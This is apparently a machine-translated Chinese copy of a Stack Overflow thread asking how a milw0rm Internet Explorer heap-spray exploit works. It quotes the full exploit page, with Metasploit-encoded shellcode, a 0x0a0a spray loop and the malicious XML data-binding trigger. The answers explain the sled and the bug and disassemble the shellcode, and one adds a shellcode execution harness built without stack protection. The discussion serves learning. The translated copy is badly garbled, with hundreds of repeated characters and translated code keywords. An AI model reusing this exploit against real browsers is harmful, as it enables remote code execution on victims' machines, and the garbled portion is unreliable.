Javascript 这个milw0rm堆如何工作?
我通常不难阅读JavaScript代码,但对于这一段,我无法理解其逻辑。代码来自4天前发布的漏洞攻击。你可以在 代码如下:Javascript 这个milw0rm堆如何工作?,javascript,x86,exploit,assembly,Javascript,X86,Exploit,Assembly,我通常不难阅读JavaScript代码,但对于这一段,我无法理解其逻辑。代码来自4天前发布的漏洞攻击。你可以在 代码如下: <html> <div id="replace">x</div> <script> // windows/exec - 148 bytes // http://www.metasploit.com // Encoder: x86/shikata_ga_nai
<html>
<div id="replace">x</div>
<script>
// windows/exec - 148 bytes
// http://www.metasploit.com
// Encoder: x86/shikata_ga_nai
// EXITFUNC=process, CMD=calc.exe
var shellcode = unescape("%uc92b%u1fb1%u0cbd%uc536%udb9b%ud9c5%u2474%u5af4%uea83%u31fc%u0b6a%u6a03%ud407%u6730%u5cff%u98bb%ud7ff%ua4fe%u9b74%uad05%u8b8b%u028d%ud893%ubccd%u35a2%u37b8%u4290%ua63a%u94e9%u9aa4%ud58d%ue5a3%u1f4c%ueb46%u4b8c%ud0ad%ua844%u524a%u3b81%ub80d%ud748%u4bd4%u6c46%u1392%u734a%u204f%uf86e%udc8e%ua207%u26b4%u04d4%ud084%uecba%u9782%u217c%ue8c0%uca8c%uf4a6%u4721%u0d2e%ua0b0%ucd2c%u00a8%ub05b%u43f4%u24e8%u7a9c%ubb85%u7dcb%ua07d%ued92%u09e1%u9631%u5580");
// ugly heap spray, the d0nkey way!
// works most of the time
var spray = unescape("%u0a0a%u0a0a");
do {
spray += spray;
} while(spray.length < 0xd0000);
memory = new Array();
for(i = 0; i < 100; i++)
memory[i] = spray + shellcode;
xmlcode = "<XML ID=I><X><C><![CDATA[<image SRC=http://ਊਊ.example.com>]]></C></X></XML><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML><XML ID=I></XML><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN></SPAN>";
tag = document.getElementById("replace");
tag.innerHTML = xmlcode;
</script>
</html>
x
//windows/exec-148字节
// http://www.metasploit.com
//编码器:x86/shikata_ga_nai
//EXITFUNC=process,CMD=calc.exe
var外壳代码=unescape("%词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词词734A%u204f%uf86e%udc8e%ua207%u26b4%u04d4%ud084%uecba%u9782%u217c%ue8c0%uca8c%uf4a6%u4721%u0d2e%ua0b0%ucd2c%u00a8%ub05b%u43f4%u24e8%u7a9c%ubb85%u7dcb%ua07d%ued92%u09e1%u9631%u5580”);
//丑陋的堆状喷雾剂!
//大部分时间都在工作
var spray=unescape(“%u0a0a%u0a0a”);
做{
喷洒+=喷洒;
}而(喷洒长度<0xd0000);
内存=新数组();
对于(i=0;i<100;i++)
内存[i]=喷洒+外壳代码;
xmlcode=“]]>”;
tag=document.getElementById(“替换”);
tag.innerHTML=xmlcode;
这就是我相信它的作用,我希望你能帮助我,弥补我误解的部分
变量shellcode
包含打开calc.exe
的代码。我不明白他们是如何找到那个奇怪的字符串的。知道吗
第二件事是变量spray
。我不理解这个奇怪的循环
第三件事是变量memory
,它从未在任何地方使用过。他们为什么要创建它
最后一件事:XML标记在页面中做什么
目前我有很好的答案,但大部分都是非常笼统的答案。我想更多地解释代码的价值。例如
unescape(“%u0a0a%u0a0a”)这意味着什么?对于循环来说是一样的:开发人员为什么要写:length<0xd0000
?我想更深入地理解,而不仅仅是这段代码的理论。每当我看到在利用漏洞的讨论中没有提到的内存时,我的第一个想法是,利用漏洞是某种缓冲区溢出,在这种情况下内存正在导致缓冲区溢出或在缓冲区溢出时被访问。外壳代码包含一些x86汇编指令,这些指令将进行实际利用。spray
创建一长串指令,这些指令将放入内存中。因为我们通常无法找到o的确切位置在内存中的外壳代码,我们在它前面放了很多nop
指令,然后跳转到那里的某个地方。memory
数组将保存实际的x86代码以及跳转机制。我们将把精心编制的XML提供给有bug的库。在解析它时,bug将导致指令指针寄存器被assigned攻击我们的漏洞,导致任意代码执行
要更深入地理解,您应该实际了解x86代码中的内容。unscape
将用于将字符串表示的字节序列放入spray
变量中。有效的x86代码会填充堆的一大块并跳到外壳代码的开头。结束条件的原因是strin脚本引擎的长度限制。不能有大于特定长度的字符串
在x86汇编中,0a0a
表示或cl,[edx]
。就我们的利用而言,这实际上相当于nop
指令。无论我们跳到喷溅
中的何处,我们都将进入下一条指令,直到到达我们真正想要执行的外壳代码
如果您查看XML,您将看到0x0a0a
也在那里。准确描述发生的情况需要了解漏洞的具体知识(您必须知道漏洞在哪里以及如何被利用,我不知道)。但是,我们似乎通过将innerHtml
设置为该恶意XML字符串来强制Internet Explorer触发错误代码。Internet Explorer尝试对其进行解析,错误代码以某种方式控制数组所在的内存位置(因为它是一个大的块,跳转到该位置的概率很高)。当我们跳转到那里时,CPU将继续执行或cl[edx]
指令,直到in到达放入内存的外壳代码的开头
我已反汇编外壳代码:
00000000 C9 leave
00000001 2B1F sub ebx,[edi]
00000003 B10C mov cl,0xc
00000005 BDC536DB9B mov ebp,0x9bdb36c5
0000000A D9C5 fld st5
0000000C 2474 and al,0x74
0000000E 5A pop edx
0000000F F4 hlt
00000010 EA8331FC0B6A6A jmp 0x6a6a:0xbfc3183
00000017 03D4 add edx,esp
00000019 07 pop es
0000001A 67305CFF xor [si-0x1],bl
0000001E 98 cwde
0000001F BBD7FFA4FE mov ebx,0xfea4ffd7
00000024 9B wait
00000025 74AD jz 0xffffffd4
00000027 058B8B028D add eax,0x8d028b8b
0000002C D893BCCD35A2 fcom dword [ebx+0xa235cdbc]
00000032 37 aaa
00000033 B84290A63A mov eax,0x3aa69042
00000038 94 xchg eax,esp
00000039 E99AA4D58D jmp 0x8dd5a4d8
0000003E E5A3 in eax,0xa3
00000040 1F pop ds
00000041 4C dec esp
00000042 EB46 jmp short 0x8a
00000044 4B dec ebx
00000045 8CD0 mov eax,ss
00000047 AD lodsd
00000048 A844 test al,0x44
0000004A 52 push edx
0000004B 4A dec edx
0000004C 3B81B80DD748 cmp eax,[ecx+0x48d70db8]
00000052 4B dec ebx
00000053 D46C aam 0x6c
00000055 46 inc esi
00000056 1392734A204F adc edx,[edx+0x4f204a73]
0000005C F8 clc
0000005D 6E outsb
0000005E DC8EA20726B4 fmul qword [esi+0xb42607a2]
00000064 04D4 add al,0xd4
00000066 D084ECBA978221 rol byte [esp+ebp*8+0x218297ba],1
0000006D 7CE8 jl 0x57
0000006F C0CA8C ror dl,0x8c
00000072 F4 hlt
00000073 A6 cmpsb
00000074 47 inc edi
00000075 210D2EA0B0CD and [0xcdb0a02e],ecx
0000007B 2CA8 sub al,0xa8
0000007D B05B mov al,0x5b
0000007F 43 inc ebx
00000080 F4 hlt
00000081 24E8 and al,0xe8
00000083 7A9C jpe 0x21
00000085 BB857DCBA0 mov ebx,0xa0cb7d85
0000008A 7DED jnl 0x79
0000008C 92 xchg eax,edx
0000008D 09E1 or ecx,esp
0000008F 96 xchg eax,esi
00000090 315580 xor [ebp-0x80],edx
理解这个外壳代码需要x86汇编知识和MS库本身的问题(当我们到达这里时,要知道系统状态是什么),而不是JavaScript!此代码将依次执行calc.exe
这看起来像是Microsoft发布紧急修补程序的漏洞。它使用Microsoft XML处理程序的数据绑定功能中的缺陷,导致堆内存被错误释放
外壳代码是在错误发生时运行的机器代码。喷洒和内存只是堆上分配的一些空间,以帮助出现可利用的情况。这是metasploit提供的,这意味着它使用的是metasploit外壳代码之一。它是开源的,所以您可以去获取它:堆喷洒是利用浏览器漏洞的常见方法tuff,如果你对它感兴趣,你可以找到几篇这样的帖子:请参阅
它是编码为字符串的二进制数据,JavaScript正在对其进行解码
常见的形式也有
您可以在此处看到所有编码技巧:
简单外壳代码示例
我相信是汇编at&t语法x86的Hello world(培训中的向导)
设置文件:vim shellcodeExample.s
.text #required
.goblal _start #required
_start: #main function
jmp one #jump to the section labeled one:
two:
pop %rcx #pop %rcx off the stack, or something
xor %rax, %rax #Clear
movl 4, %rax #use sys_write(printf || std::cout)
xor %rbx, %rbx #Clear
inc %rbx #increment %rbx to 1 stdout(terminal)
xor %rdx, %rdx #Clear Registers or something
movb $13, %dl #String Size
int $0x80
one:
call two #jump up to section two:
.ascii "Hello World\r\n" #make the string one of the starting memory
#^-addresses
像这样编译:as-o shellcodeExample.o shellcodeExa
shellcode: file format elf64-x86-64
Disassembly of section .text:
0000000000400078 <.text>:
400078: eb 1a jmp 0x400094
40007a: 59 pop %rcx
40007b: 48 31 c0 xor %rax,%rax
40007e: b0 04 mov $0x4,%al
400080: 48 31 db xor %rbx,%rbx
400083: 48 ff c3 inc %rbx
400086: 48 31 d2 xor %rdx,%rdx
400089: b2 0d mov $0xd,%dl
40008b: cd 80 int $0x80
40008d: b0 01 mov $0x1,%al
40008f: 48 ff cb dec %rbx
400092: cd 80 int $0x80
400094: e8 e1 ff ff ff callq 0x40007a
400099: 68 65 6c 6c 6f pushq $0x6f6c6c65
40009e: 20 77 6f and %dh,0x6f(%rdi)
4000a1: 72 6c jb 0x40010f
4000a3: 64 fs
4000a4: 0d .byte 0xd
4000a5: 0a .byte 0xa
unsigned char PAYLOAD[] =
"\xeb\x1a\x59\x48\x31\xc0\xb0\x04\x48\x31\xdb\x48\xff\xc3\x48\x31\xd2\xb2\xd0\xcd\x80\xb0\x01\x48\xff\xcb\xcd\x80\xe8\xe1\xff\xff\xff\x68\x65\x6c\x6c\x6f\x20\x77\x6f\x72\x6c\x64\x0d\x0a";
vim execShellcode.cc; //linux command to create c file.
/*Below is the content of execShellcode.cc*/
unsigned char PAYLOAD[] =
"\xeb\x1a\x59\x48\x31\xc0\xb0\x04\x48\x31\xdb\x48\xff\xc3\x48\x31\xd2\xb2\xd0\xcd\x80\xb0\x01\x48\xff\xcb\xcd\x80\xe8\xe1\xff\xff\xff\x68\x65\x6c\x6c\x6f\x20\x77\x6f\x72\x6c\x64\x0d\x0a";
int main(){
((void(*)(void))PAYLOAD)();
return 0;
}
gcc -fno-stack-protector -z execstack execShellcode.cc -o run